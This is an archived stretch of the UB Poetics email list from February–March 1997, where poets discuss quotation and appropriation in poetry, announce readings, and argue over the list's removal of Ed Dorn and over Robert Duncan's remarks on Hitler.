p.s.: another tack on the citations / quotations issue. It's interesting that in much of Alice Notley's writing, EVERY sentence is in quotation marks! (My late friend Lynne Beyer pointed this out to me, merely wondering what Alice was up to.) Certainly it's not a question of borrowed language in the literal, Brennan-asked sense. Seems (in effect) more like thoughts / words "overheard" -- eh?

> *Subject: Re: Spell check*
> *Date: Wed, 26 Feb 1997 11:51:55 -0500*

> Following up Sherry Brennan's question yesterday abt. citations for
> borrowed language --
>
> 2 poss. interesting instances spring to mind. The recent book
> *Materialism* by Jorie Graham is chock-full of borrowed texts. I
> think (if memory serves) she merely mentions what authors she's
> borrowed from; -- or perhaps gives some bit more detail, but is
> anyway not exhaustive or too detailed. You might want to give the
> book a glance, -- as one example of contemporary practice.
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> The other case that came to mind was T.S. Eliot's wholesale lifting
> of a passage from San Juan de la Cruz. In that case, my impression
> (or recollection) is that there's no annotation identifying the
> original -- but rather, Eliot prefaces (in the poem itself) the
> appropriated text by some phrase like "Has it not been said?" --
>
> so that's one other approach to this. But likely you'll find your
> own solution.
>
> have fun w/ Ch. Darwin + the gardeners
> d.i.
>
> (p.s.: I get the Poetics package in digest, so if I post mid-day
> (like this), I'm writing blind as to what's meanwhile transpiring.
> Was thus slightly amused to note my "found poem" of yesterday
> appeared (unwittingly) in the wake of this query. I didn't mention

> that the tose words comprised the *complete* (unaltered) text of the
> orig. office-mail msg. -- minus a single closing word: "Thanks!").

.
.....
.....
\\\

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895. **Pritchett,Pat**
Re: question which will explain things
Thu 27 Feb 1997

Joe, you shoulda watched the fabulous "Beast from 20,000 Fathoms" on AMC. A seminal work from my TV matinee childhood. Best line: "There's a certain inexorable chronology to these events." I think I'll "sample" that one. The way it uses very grainy stock footage of glaciers, US Airforce planes, etc. charmingly and naively anticipates use of same scratched, artificially aged postmod stuff in music vids, etc. Ray Harryhausen's monsters are a thousand times more poetic than Spielberg's. Or maybe I'm just being nostalgic.

Patrick P.

From: Joe Safdie
To: POETICS
Subject: Re: question which will explain things
Date: Thursday, February 27, 1997 11:26AM

Yes, it IS a silly thread, but it's like TV, it gets our mind off things. Stultifyingly dull "Grammys" last night, I couldn't watch more than a half hour or so.

I, too, have been told I stick out my tongue when writing (and teaching) ala Michael Jordan. Would like to thing that's because I'm tasting the words. Can anyone confirm for me that there's a college basketball player at the moment (Minnesota?) who's been called "the Jewish Jordan"?

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896. **Jerry Rothenberg**
san diego readings
Thu 27 Feb 1997

For those of you in or near San Diego, the following may be of interest:

Wednesday March 5 7:00 p.m. at Jerome Rothenberg's studio (Visual Arts 451 on UCSD campus): a performance by the Dutch poet / soundtext artist Jaap Blonk, along with improvisations by contrabassist Bert Turetzky.

Friday March 7 6:30 p.m. at the Porter Troupe Gallery (301 Spruce Street): a reading and performance by Ed Sanders.

Both events free and open to the public.

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897. **Jordan Davis**
Why I asked?
Thu 27 Feb 1997

Thanks, I think, Don Cheney, for liking the questions I ask. This particular question about the facial expression one assumes while writing is pretty silly, yes. Poe's story "The Purloined Letter" has a nice passage about studying facial expressions to understand what decisions people will make. I remember (and I know that remembering doesn't prove the truth value of one's statements about the past -- however, I've slowly been coming to the conclusion that epistemology is for suckas) that Wittgenstein made many gnomic remarks about a hypothetical naive observer imitating the facial expressions of people performing tasks such as thinking and writing, imagining that by imitating those expressions, this observer would then able to perform those tasks. (Of these tasks, I'm pretty sure Wittgenstein says that to an observer, it must seem that a 'queer process' is taking place.) In the twin interests of coincidence and disclosure, Don, I've noticed that I sometimes make the cat face when I write.

Frusen gladje,
Jordan

↑ Index

898. **michael corbin**
Re: how people behave
Thu 27 Feb 1997

Michael Magee wrote:

> *Then there's the*
> *fact that the Native Americans who were forced there around the turn of the century ended up sitting on a lot of oil land. Somehow laws were instituted which made the city hier to that land if the particular native American owners died - unsurprisingly, they started dropping like flies.*

On the Osage of Oklahoma and white folks orgasm for oil see Linda Hogan's 1990 novel _Mean Spirit_. The usual raw materials for 20th century amerrycan poetico-ethics.

Relatedly, to Tulsa and such conflagrations that is, see Michael D'Orso's book of last year _Like Judgement Day: The Ruin and Redemption of A Town Called Rosewood_. This as a corrective to the hollywoodization of the story in the new John Singleton and warner bros movie _Rosewood_. D'Orso's book is more the rendering of how the story of the racist destruction of the town has been variously remembered, narrated and memorialized.

mc
mc

↑ Index

899. **Laura Moriarty**
Robinson/Roush Sat not Fri
Thu 27 Feb 1997

Kit Robinson and Tricia Roush will be reading for Small Press Traffic at New College, part of the Prosodia Benefit Series, at 7:30 on Saturday March 8th - (the poster accidentally says Friday) -

New College is located at 777 Valencia in San Francisco.

(When I called to check about the time, Dodie said it was okay if I posted this.)

↑ Index

900. **Jordan Davis**
Creative Reading
Thu 27 Feb 1997

---

just published by the National Council of Teachers of English,

CREATIVE READING by Ron Padgett ..

thought I'd mention it ... J

↑ Index

901. **Don Cheney**
Re: Why I asked?
Thu 27 Feb 1997

> *Thanks, I think, Don Cheney, for liking the questions I ask. This particular question about the facial expression one assumes while writing is pretty silly, yes.*

jordan, my like was sincere, even if stated on one of your self-proclaimed "pretty silly" questions.

> *In the twin interests of coincidence and disclosure, Don, I've noticed that I sometimes make the cat face when I write.*

yes!

> *Frusen gladje,*
> *Jordan*

shake it up, baby!
don

↑ Index

902. **amato**
Re: question which will explain things
Thu 27 Feb 1997

---

patrick, harryhausen nostalgia is a good thing, don't sweat it!... while we're at it, i'll go for o'brien nostalgia too...

best,

joe

↑ Index

903. **Matthias Regan**
Re: Spell check (quotations)
Thu 27 Feb 1997

THEY ACT AS ANALOGUES

[a poem written on lunch break, composed entirely of words and phrases (slightly altered, sometimes) taken from the day's posts to this and another list.]

I for one fail to see
the intelligence in "My Ding-a-ling",
but maybe something is
escaping me. A friend of mine

who's doing some work
on the utopian body, the story
of a family since moved to a California town--
their senses would undergo

extraordinary refinement,
adolescence, lassitude, fecklessness
and apathy. Bon voyage.
(Several white men

throwing torches, in the context
of the rebellions/riots of the late 60s.
This so-called "Opera",
"Art-Song" and their various spawn.)

Are you there? There's a college
basketball player (Minnesota?)
who's been called "the Jewish Jordan".
A man can reach a branch twelve feet high,

climb up and down the tree,
pick fruit at the very top, and put it in a basket
tied to the archimain. Then there's the fact
that the Native Americans who were forced there

around the turn of the century
ended up sitting on a lot of oil land.
A nostalgia for a future that didn't happen.
And while 'we' live in the bruised

sentimentality of too high techno-expectations,
they act as analogues for the stroboscopic flashings
its hard to give over to,
an ironism of the saccharine picaresque:

once again, you're correct, except
you have it all backwards. The # I have
is a nonworking #. She would blanch
at my foregrounding her racial background

for Time Inc. I feel
the puffed up pride of MGM's
Louis B. Mayer. Oops. For the sake
of humanity, let us all know when you find out --

↑ Index

904. **Stephen Vincent**
Re: how people behave
Thu 27 Feb 1997

Re: Tulsa & Ron Padgett - In case no one else mentioned this, Ron P. has an essay, "Among the Blacks", which is an autobiographical exploration of his relationships to blacks as he was growing up in Tulsa. (The essay is paired with his translation of Raymond Roussel's work of the same title.) There is no mention of the 1921 conflagration. Why not might be a question, or might have been a provocative exploration - in terms of pairing the two essays - in that the Tulsa event took place while Roussel was still actively producing 'his' African works.

Cheers,
Stephen Vincent

↑ Index

905. **Wystan Curnow**
Re: Why I asked?
Thu 27 Feb 1997

Jordan, On the subject of, welljust round the corner from, there is this (in the words of the execrable Arianna Stassinopoulos Huffington; I have another account but in a book at home so I think its genuine) : Picasso was back in Paris, shaving in his bathroom at the Hotel Lutetia, when the telephone call came announcing the news [of Apollinaire's death]. His terrified expression in the mirror shocked him, and his instinctive, immediate response was to draw his self-portrait with that undisguised look of mortality he had seen staring back at him. Wystan

↑ Index

906. **Charles Bernstein**
Re: deletion & the politics of the list
Thu 27 Feb 1997

I have been out of e-mail range for about a week and am trying to read through the accumulated Poetics messages. But I hope it is now apparent to one and all that the policy at Poetics is to welcome anyone interested in joining the list and (virtually) *never* remove anyone from the list (except in the extremely rare sort of cases outlined by Eliza McGrand, Alan Sondheim, and Joe Amato, which have not been a problem for this list). I find it odd that I should even have to write such a sentence in this context, but I am reluctant to torque it in a way that might be misunderstood -- although anything you say can and will be misunderstood (isn't that Amberian's 99th Law of Community?). I think one reason Joel felt his sarcasm would be understood as ironic is that the possibility that he would delete folks from the list in the way he described is so far-fetched to him, as it is to me, as to be patently absurd. But of course, the lesson is (if we need one): it is *not* too far fetched to be believed and that reasonable, sympathetic people can imagine that we could actually conduct this list in such an abhorrent fashion. I know the problem from the inside too: that odd feeling I have more than I'd like of not knowing if something is a joke or not, or for that matter the similar feeling that the people I have grown to trust could somehow not be who I thought they were. Somehow this e-space foments these unmoorings, since, as many have noted, one doesn't see that the person making the "appalling" remark can hardly keep from laughing; and where the frames, established in a poem or essay to indicate a (yes, indeed, *possibly*) nonauthorial point of view, may not be noted even if they are marked. So we land again on the problem of the ironic or indeed the dramatic, if I understood Fiona Templeton's recent point about shifting tones. (I can confirm, by the way, that Herr A. Hitler is not subscribed to this list despite active efforts to reach him in

his multi-e-media- equipped bunker, with the expectation that participating in the list might encourage him to reconsider his views on "degenerate" art, which I, for one, have always found problematic. However we do hope to have both Evita and Larry Flynt on board soon.) [Joke emoticon removed for further genetic study.]

I want also to register my appreciation to Jerry Rothenberg for his remarks on the responsibility we all have in posting to this or any list. I have always felt that the spontaneity of response that seems the very heart of the list at its best also has the darker side of circulating ideas that have not been well considered (or considered also by another reader -- editor or friend). Given this is the case, though, one has to read this genre of communication for what it is and always with some skepticism. The problem is when we read what is more like a spontaneous comment made in the heat of exchange as if it were revised or edited essay. That is, the reader bears some responsiblility for keeping in the mind the context of the writing. I realize I may be belaboring the obvious here, but it is because I am interested in what are the specific characteristics of exchanges on email lists, which tend toward the improvisational rather than the compositional.

As to the (recurring) discussion of the politics of the poets, I recommend Jerome McGann's "Canonade" in New Literary History (25;3, Summer 1994), which takes up the problem from a somewhat different point of view, and one which I suspect would bring into agreement some of those lately disagreeing. McGann's focus is on the attempts on both sides of the academic "canon wars" to contruct a canon of, let's say, saintly poets. McGann's is a critique of the ever-resurgent idea (on both left and right) that art should be uplifting. Indeed, McGann won't let us forget that range of poetry that dwells, without disavowing -- that is, dwells in ways that make readers anxious -- on the foulest thoughts and darkest visions of a culture. He quotes Blake's idea that "The greatest Poetry is immoral" but also Byron's

> He left a [Poet's] name to other times,
> Linked with one virtue, and a thousand crimes

[to use the substitution for "Corsair" that McGann, in effect, suggests].

McGann goes on to say about Eliot's most notorious poem: "Yet what a remarkable poem--indeed, how remarkable exactly because it has sunk into its own disgusting imagination!... Serpentine, garage-door, phlegm: all have, like the beast Ahab, their humanities. Their eyes are watching God, even when they watch from that cesspool titled `Sweeney Among the Nightengales.'"

****

A Short Note on the Privacy of This List

The Poetics List does have a wide open front door: it's called the Electronic Poetry Center. We make every effort to have the EPC listed as a link at poetry and art sites and guidebooks and lists. Through the EPC it is relatively easy to find out about the list -- if interested. Also the 473 list subscribers, and hundreds of nonsubscribers who are familiar with the list, recommend the list to interested people. As I have written in previous posts, the issue of inclusion/exclusion in this medium is complex. For many reasons, a number of subscribers on this list would not be willing, or in many cases able, to participate if the list volume increased substantially from what it is now or if the list took on the character of a news group of strangers meeting for the first time. We have here a semblance of knowing one another, and beyond that many of us do know one another, or end up meeting one another at one time or other. The aim is to maintain an open space for exchange among people with specific and related, if necessarily undefined and polydictory, poetic commitments. That is, to have a list such that the participants generally (want to) read (most or all of) the posts and have some sense of the history of what has transpired here. This requires a long-term commited relationship, like they (used to?) say (which is not to say that other kinds of e-relations might not have other values). As I've put it when the list had half the current number of subscribers: "The paradox is that in an attempt to be open and nonexcluding one can end up excluding those who are unable to handle the volume: people are drowned out rather than kept out -- until Dreamworks Interactive, Inc., guides us and we asphyxiate."

And speaking of being swamped, this also has to do with the limited capacity of those of us dealing with administering the list to handle any greater volume. For example, Joel's daily work on list maintenance, not a particularly fun job, though somewhat interesting at times. Thanks again, Joel. (As to Loss Glazier's Herculean labors on the EPC: enough cannot be said.)

↑ Index

907. **Thomas Bell**

Re: Why I asked?

Thu 27 Feb 1997

Wd be a silly question I think to those cerebral poets who hope their work has no connection to the body, but (notwithstanding Poe and Wittgenstein's tangential points)this is not consistent with research. tom bell

At 01:55 PM 2/27/97 -0500, Jordan Davis wrote:
>Thanks, I think, Don Cheney, for liking the questions I ask. This
>particular question about the facial expression one assumes while writing
>is pretty silly, yes.

↑ Index

908. **DS**
Re: Dorn on the list
Thu 27 Feb 1997

. It is interesting in
>utopian structures (and a conversation is one)

I am astonished by this statement. Power structures exist in everything.

↑ Index

909. **Tom Mandel**
Holy Moly!
Fri 28 Feb 1997

Lisa Jarnot mentions:

"...something that Robert Duncan says about how you can't reject ...Hitler as the enemy because that potentiality exists in everybody."

I certainly hope Robert Duncan never wrote anything as foolish as that.

Tom Mandel

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

↑ Index

910. **Tom Mandel**
Dorn on the list
Fri 28 Feb 1997

It would have been more useful to leave Dorn on the list than to delete him without mention and without the knowledge of those whom the list comprises.

It would have been interesting to see what his contributions were. Given what they might have been (speculative tho that is) it would have been interesting to see how this group of people reacted. It is interesting in utopian structures (and a conversation is one) to see how people react to whatever develops. In fact, it's more than interesting, it's crucial. I'm sure Joel acted in good faith (and in irre-pressible revulsion too), but I would have preferred Dorn here than locked out.

Tom

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

↑ Index

911. Tom Mandel

apt. to share?

Fri 28 Feb 1997

> *From: Brigham Taylor <[redacted]>*
> *Subject: Manhattan Share/Apt. available*
>
> *I wouldn't normally post this on the list, but I'm exploring every option.*
> *I need someone to share a (really) large 2 bedroom apartment on the Lower East Side (Ridge Street, 2 blocks south of Houston) by March 15 or April 1.*
> *It's $1200 a month ($600 each), and you have the option of taking over the whole apartment on the first of July. It's a great space at a good price.*
> *If you or anyone you know might be interested, backchannel me...*

I think Ed Dorn might be looking for a place.

It's incredible to watch the waves of convention wash across this list. The sense of potential gaffe at resisting vile remarks, the unwillingness to treat a person as a person if that person is a poet, and the love love love of rhetoric, as in Dorn's "how *I* take a man" -- that *I* that somehow takes it oh so differently.

Ok, ok. If he talks nice, he can come around me. I'd hate to diss someone just for jew-baiting, just for AIDS-bashing. That kind of "Hollywood black and white" is so much less interesting than for example finding some kind of "interpretive space" for the "discourse" and then having a "conference" about it? After all, who can't identify with giving Steve Abbott the screw? None of us is perfect, right?

Start over.

Tom Mandel

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

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912. David Israel
Re: deletion & the politics of the list
Fri 28 Feb 1997

Our worthy listmeister's remarks -- beyond being welcome on several planes -- also served to bring (back) to mind a question re: the surprising Emily Dickinson epistolary excerpt that happened to surface -- last week? -- amid the helter-skelter of the other E.D.'s contretemps.

I can't now locate the original post (from, I believe, Aldon Nielsen) -- but the brief quotation was (as you'll recall) from a (probably chatty) letter of Emily's, wherein an apparently egregious, exceedingly xenophobic remark was tossed out in a maybe parenthetical (& poss. lighthearted?, perhaps self-ironical? &/or poss. even -- can this be? -- bullseye sarcastic of others who were wont to offer such remarks dead-*serious*?) manner.

Charles B. notes --

<< . . . I think one reason Joel felt his sarcasm would be understood as ironic is that the possibility that he would delete folks from the list in the way he described is so far-fetched to him, as it is to me, as to be patently absurd. But of course, the lesson is (if we need one): it is *not* too far fetched to be believed and that reasonable, sympathetic people can imagine that we could actually conduct this list in such an abhorrent fashion. I know the problem from the inside too: that odd feeling I have more than I'd like of not knowing if something is a joke or not, or for that matter the similar feeling that the people I have grown to trust could somehow not be who I thought they were. . . .>>

Question: how far-fetched is it (would it be) to read Emily's utterance in a context akin to the above? Since I know precious little anent ED's RW life & its social surround, I ask this out of frank ignorance.

d.i.

↑ Index

913. Henry Gould
Providence readings acoming
Fri 28 Feb 1997

Joshua Saul Beckman & Ange Mlinko will read at Native Gallery, 387 Charles St. Providence, at 8 pm on Fri March 7th, right after the opening. Free w/pass the hat. Stuff to eat & drink plus art on walls. Call [redacted] for directions etc. sponsored by Poetry Mission.

On April 23rd the Mission is planning a "poetry action" at its incipient space (see Luigi Spgnrti's article in Digestacritics #12, "Literair and Underwear :

Incipient Space as Meter? Metamorph?" for info on this glistening topos), starting at 7:30 pm. Said space is Hall Memorial Library in Cranston (a few blocks from birthplace & pilgrimage center of St. Ted (Bargoon)). Resident real-live critic Tom Epstein will attack poetry from perspective of Jos. Epstein & other poetry-scoffers (Jos. Ep no relation) - poets, local literati, and would-be local-literati (could this be you?) will respond with ad hummer attacks and ad lib poems etc. on the theme of "what's poetry" etc. It will be Shakespeare's birthday & He has Promised to Attend. All part of the whole which is the Annual Bergeron Memorial Reading sponsored (annually!!!!) by the Library in honor of a deceased beloved librarian name of Bergeron who liked poetry and science fiction and who also has Promised to Attend (see L. Pgstrni's other essay "Incipient Space, Other Dementias - Is there Life Before Poetry?" in Swallowacritics #21 for info on your literary prospects on other planets).

don't write to me, I'm not here. - Spandrift

↑ Index

914. Robert Archambeau
The Dorn/Pound Affair
Fri 28 Feb 1997

Here's a poem by Gary Geddes, a Canadian poet who read at the Louisville conference -- it does a better job of saying what I want to say about all this than I could do on my own. (Don't know what Geddes thinks about Dorn, but I take his point here to be a general one).

Robert Archambeau

The Last Canto

I seldom budge
from Rapallo.
Venice is no Byzantium
these final days.
Stench from the canals
worse than the cattle ship
I sailed to Europe on.

Mr Nixon was half right:
poetry did not pay,
but there was a future in it.
The age demanded
a scapegoat and a saint.
Being American
I applied for both jobs.

The world has been my whale-road,
wanderer and seafarer
among the lost manuscripts,
charting connections
few had ever dreamed of.
I've gone about my business
like a pack rat.
You have to do that,
have on hand ten times
what you can ever hope to use.
Tennyson was right
about being part of all he met,
but he hadn't met enough.

As the range broadened
my speech became barbarous,
that of a man who's lost contact
with the words of his fellows,
though he knows their hearts'
most intimate desires.

I once advised trashing the metronome
and composing with the music
of the speaking voice.
Now I say:
Exercise the mind
and school the heart;
voice will rejoice
in its tender chains
like a bridegroom.

While my former countrymen
have given up on ideas,
except in things,
whatever that means,
and play with themselves
like clergymen,
less out of need than habit,
I dream
of ideas in action
and of forma, even the canetto,
where the dance of the ear
and intellect

draw dormant filings
into the pattern of a rose.

I wrote in an article
in T.P.'s Weekly in 1913:
The artist is always beginning.
Any work of art
which is not a beginning,
an invention, a discovery,
is of little worth.

I still hold that view
though at times, I admit,
I counted the cost.

I have spoken too much of usura,
or not enough.
Even the air we breathe
is rented for a price.

Forget my dicta:
direct treatment of the thing
and all that rot.
The thing, so-called,
has yet to be revealed.
I have found poems
to be wiser abd more honest
than poets.

Remember the ideogram
from the Chinese,
the one representing truth
which shows a man
standing beside his word.
Nothing more.
The merchant's wife
dying alone
in her unkempt garden
by the river
praises
my irregular feet,
though she draws the line
at Social Credit.

Forget me too:
listen to the poems.

You see, I'm prescriptive
to the end, a weakness
acquired in Hailey, Idaho
and never shaken.

↑ Index

915. Robert Archambeau
Geddes
Fri 28 Feb 1997

Let me just plug Geddes' book, while I'm at it.

The poem comes from:

Active Trading: Selected Poems 1970-1995
Fredrickton, New Brunswick: Goose Lane, 1996.
ISBN: 0-86492-198-5
$12.95

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916. jarnot
Re: Holy Moly!
Fri 28 Feb 1997

>Lisa Jarnot mentions:
>
>"...something that Robert Duncan says about how you can't reject ...Hitler
>as the enemy because that potentiality exists in everybody."
>
>I certainly hope Robert Duncan never wrote anything as foolish as that.
>
>Tom Mandel
>
In "Man's Fulfillment in Order and Strife" Duncan writes:

"Reject Mae West as vulgar or Hitler as the enemy, reject them as fellows of our kind, and you have to go to battle against the very nature of Man himself, against the truth of things."

I kind of thought it made sense in the context of the Dorn discussion since there has been talk of counteracting ignorance with physical violence.

there's not much foolishness in Duncan.

Yours, LIsa

↑ Index

917. Christopher Alexander
Re: the feast of plagiarism
Fri 28 Feb 1997

> *One possible response is a pamphlet I constructed for the 1988 Festival of Plagerism (sic) called The Plagiarist Codex; an old Maya Information Heiroglyph which can be viewed on line with a frames capable browser at:*
>
> *http://www.net22.com/qazingulaza/codex/codex.html*

amendant - this is a beautiful page, Im really amazed at the work youve done here. wld yr mind if I add a link from my (unfinished) page to quaz?

oh, one thing - yr href at the end of the plagiarism codex is coded as "index.shtml" right now. thought yd like to know. doesnt that look like yiddish? "that boy, let me tell you, hes nothing but a shtml."

provisionally chris
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

↑ Index

918. David R. Israel
Re: Spell check / Jorie G.
Fri 28 Feb 1997

Patrick --

thanks for note responding to my Q. abt. Jorie Graham. What you say --

> *Her appropriation of LangPo and Olsonite techniques begins with "End of Beauty," tho she applies these to rather different ends.*

sounds about right. I heard her give a reading in DC last year -- only caught the final part (due to office work situation), but much enjoyed her intelligent (I felt) performance & writing. Come to think of it, also saw her read in NYC circa '90, in a somewhat odd (but likeable enough) program with a couple of poets (Bob Creeley being one of 'em) & a couple of painters, up at the Jewish Y (as I believe it's nicnamed).

Anyhow, perhaps I've simply developed a liking for what Jorie Graham is up to. True, she takes those methods & modes in her own direction.

> *Notley's quotation marks are fascinating. They function more as metrical units than anything else. . . .*

Metrical -- breath regulation -- (have to give it more look / thought).

d.i.

↑ Index

919. Christina Fairbank Chirot
Re: recommend san diego readings
Fri 28 Feb 1997

Having heard/witnessed/met Jaap Blonk at Woodland Pattern here in Milwaukee last fall highly recommend taking up the following invitation:

On Thu, 27 Feb 1997, Jerry Rothenberg wrote:

> *For those of you in or near San Diego, the following may be of interest:*
>
> *Wednesday March 5 7:00 p.m. at Jerome Rothenberg's studio (Visual Arts 451 on UCSD campus): a performance by the Dutch poet / soundtext artist Jaap Blonk, along with improvisations by contrabassist Bert Turetzky.*
>
> *Friday March 7 6:30 p.m. at the Porter Troupe Gallery (301 Spruce Street): a reading and performance by Ed Sanders.*
>
> *Both events free and open to the public.*

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920. Herb Levy
Oliveros/Fullman CD
Fri 28 Feb 1997

Oops.

I left the wrong POBox key while I was out of town, so the discs for those of you who've already mail ordered Suspended Music: Deep Listening Band & Long String Intrument are just going out today.

Sorry for the delay. Snail or e-mail orders at the US$15 price will be honored through Monday March 3rd.

Hope to meet some of you all at the CD release parties in mid-March.

Bests

Herb

Herb Levy
[redacted]

↑ Index

921. Brenda Ellen Uchman
Hannah Hoch
Fri 28 Feb 1997

At the MOMA from Feb. 27th-May 20th a retrospective of the brilliant photomontages of HANNAH HOCH will be up. Went last night-penetrated my inner sensibility-had to get it out to the po-list (she did attend her fair number of Dada po-readings) And, Thurs. nites are pay what you like.

Brenda Iijima

[redacted]
Sociology Department
413 Fayerweather Hall
Columbia University
Tel.: [redacted]
==========

↑ Index

922. Steven Marks
Re: the feast of plagiarism
Fri 28 Feb 1997

On Fri, 28 Feb 1997, Christopher Alexander wrote:
>
> oh, one thing - yr href at the end of the plagiarism codex is
> coded as "index.shtml" right now. thought yd like to know.
> doesnt that look like yiddish? "that boy, let me tell you, hes
> nothing but a shtml."
>

There's something wrong maybe with being a shtml?!

_____
Steven Marks

http://members.aol.com/swmarks/welcome.html
_____

↑ Index

923. **Michael Boughn**
Re: Holy Moly!
Fri 28 Feb 1997

Thanks, Lisa.

I don't know why this would be a surprise. This is the core of Duncan's argument with Denise Levertov (or Leveton as the NY Times has it in Mitchell Goodman's obit) and the foundation of his poetics.

Mike
[redacted]

> *In "Man's Fulfillment in Order and Strife" Duncan writes:*
>
> *"Reject Mae West as vulgar or Hitler as the enemy, reject them as fellows of our kind, and you have to go to battle against the very nature of Man himself, against the truth of things."*
>
> *I kind of thought it made sense in the context of the Dorn discussion since there has been talk of counteracting ignorance with physical violence.*
>
> *there's not much foolishness in Duncan.*
>
> *Yours, LIsa*

↑ Index

924. **aerialedge**
Re: how people behave
Fri 28 Feb 1997

> *What kind of facial expression do you have when you punch a nazi poet in the eye?*

guess that would depend on how "thick-skinned" OH NEVER MIND.

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

March 1997

897 messages · Sat 1 Mar 1997 – Tue 1 Apr 1997

Hale-Bopp was the brightest thing in the sky that March, and on the twenty-sixth thirty-nine people were found dead in a rented house at Rancho Santa Fe, having concluded that a craft was travelling behind it and that they should go. The list does not mention the comet, or the house, or any of it. Exactly a year earlier it had given Hyakutake a single parenthesis in a party report, so this is by now a habit rather than an oversight, and I record it and move on. What the room was doing across eight hundred and ninety-six letters instead was arguing, in three unconnected threads that are plainly one thread, about what lasts.

It started in the archive of itself. Steven Clay asked after the mimeo magazines, and for a fortnight the room emptied its memory onto the wire: C, The World, Beatitude, United Artists, Adventures in Poetry, 432 Review, Mag City, Fuck You. Twenty-five letters of titles, editors, addresses, the occasional phone number. George Bowering, who had contributed half a dozen from Vancouver, got to the end of his own list and could not finish it — *“and that one, what was its name, from Preston?”* — which is, I think, the truest sentence in the volume. That is what survives of a revolution: a catalogue with a hole in it.

Kent Johnson read that thread and asked the obvious question, which is why nobody else had. Astronomers were now clear that the Earth is fated to be hit, possibly tonight; so what is the worth of poetry, avant-garde or otherwise? *“there will be no smell of mimeo ink”* or memory of it afterwards; language poetry and all its contraries would go together, The World and APR alike. Then he asked what beer avant-garde poets drink while writing. Thirty-four letters came back and nearly every one was a joke. Alan Sondheim: *“I always donate my poems to stopping anything”* from outer space. Simon Schuchat, helpfully — *“meanwhile, that asteroid must be getting closer”*. Steven Marks pointed out we are all going to die anyway. Joe Safdie thanked everyone for the humour, which had been much needed.

It was needed because of the other thread, the largest single quarrel in this archive: ninety-seven letters under deeply disturbed and its branches. David Kellogg was deeply disturbed by what Marjorie Perloff had written about identity politics — that the minority poetries of the eighties had been, at their inception, formally rather conservative, and that nobody could say so aloud without being called a racist. Perloff wondered whether Kellogg read what she wrote. Kellogg

replied patiently and at length, conceding the half he agreed with and specifying the half he did not: *“that doesn’t make you a racist”*, he wrote, and had never thought otherwise. It ran a fortnight, drew in thirty people, and was at bottom an argument about who gets into the anthology.

Which is the joke, and Perloff supplies it herself, in the middle of the fight, against her own side. She does not want an anthology at all, she says; she never uses one if she can help it; she goes with David Antin’s quip that *“anthologies are to poets like the zoo to animals”*. I have set the three threads in the order March sent them, because the room spent that month listing magazines that no longer exist, one of which nobody could name; then established that a rock will one day erase the list, the magazines, and the men who remember them; and then fought harder than it has ever fought, ninety-seven letters, over who is admitted to the zoo.

— Kristen M. Fabians

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1. Ron Silliman
Foolishness
Sat 1 Mar 1997

"there's not much foolishness in Duncan."

Yours, LIsa

Much as I love Duncan (both the person and the poet), he was entirely capable of jaw-dropping foolishness and exhibited it on as many occasions as he could.

Ron Silliman

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2. Herb Levy
Re: san diego readings
Sat 1 Mar 1997

I'm finally almost done deleting, I mean sorting, a lot of e-mail that I'd let accummulate while I was out of town & thought that some folks might be interested in this list of all of the Southern California performances by Jaap Blonk:

> *Monday, March 3, 7.30 pm:*
> *lecture/performance at UCLA Graduate Art Building, 8535 Warner Drive (near Hayden and National, Culver City)*
> *info: Jon Pestoni* [redacted] *--- Evan Holloway* [redacted]
>
> *Tuesday, March 4, 12 noon:*
> *lecture/demonstration at Langley Hall in the Main Building of CalArts, 24700 McBean Parkway, Valencia, phone* [redacted]
>
> *Wednesday, March 5, 7 pm:*
> *performance at UC San Diego, La Jolla, Visual Arts Complex, Studio 451*
> *info: Jerome Rothenberg* [redacted] *--- Harry Polkinhorn* [redacted]
>
> *Friday, March 7, 8 pm:*
> *performance at LACE, 6522 Hollywood Blvd (parking in the rear off of Wilcox, reduced price with entry), phone* [redacted]
>
> *Saturday, March 8, 8.30 pm:*
> *performance at Beyond Baroque, 681 Venice Boulevard, Venice, phone (310)* [redacted]
>
> *For those of you in or near San Diego, the following may be of interest:*
>
> *Wednesday March 5 7:00 p.m. at Jerome Rothenberg's studio (Visual Arts 451 on UCSD campus): a performance by the Dutch poet / soundtext artist Jaap Blonk, along with improvisations by contrabassist Bert Turetzky.*

Sorry, I don't have any other dates for Ed Sanders on hand.

Bests

Herb

Herb Levy
[redacted]

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3. **amato**
Re: Foolishness
Sat 1 Mar 1997

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and i hate to beat a dead horse, but what's wrong with "foolishness" anyway?... i don't mean the term as in, say, theoretical naivete (whatever that might be)... i mean it in a rather literal sense...

i think a certain touch of juvenilia might help allay the various desperations that seem to permeate critical and aesthetic practice, and community... not only humor, but nonsense as such... as in 'stop making sense'...

granted there may be limits to same, but who's to say?... serious fun can be, well, fun, why not?...

best,

joe

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4. **David R. Israel**
news of the weird
Sat 1 Mar 1997

---

friends --

Chuck Shepherd's admirable weekly coluumn News of the Weird is -- it might interest you to know -- available online. Here's the deal:

> *NEWS OF THE WEIRD, founded in 1988, is a nationally syndicated newspaper column distributed by Universal Press Syndicate. Individuals may have the columns mailed to them electronically, free of charge, approximately three weeks after the cover date, which is the date when most subscribing newspapers will publish the column. Send a message to* [redacted] *with the Subject line of Subscribe. To read these News of the Weird newspaper columns from the past six months, go to http://www.nine.org/notw/notw.html (That site contains no graphics, no photos, no video clips, no audio. Just text. Deal with it.)*

I've been subscribing for some while now. Without giving any specific excerpts here, I'll just say I've a feeling that many denizens of this listserv are likely to enjoy Shepherd's outre sensbility and the bizzare info he tends to unearth.

f.y.i.,
d.i.

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///\\\\\/////////\/\\\o///\/\\\\\\\\\/////\\\...'
.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
|"...sleuthing out all clues, blues & news"|
\\\/////\\\\\\\\\/\///&\\\/\/////////\\\\\\///..'

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5. Tom Mandel

(no subject)

Sat 1 Mar 1997

Thanks to Lisa Jarnot for providing a source for Duncan on "rejecting Hitler" as follows:

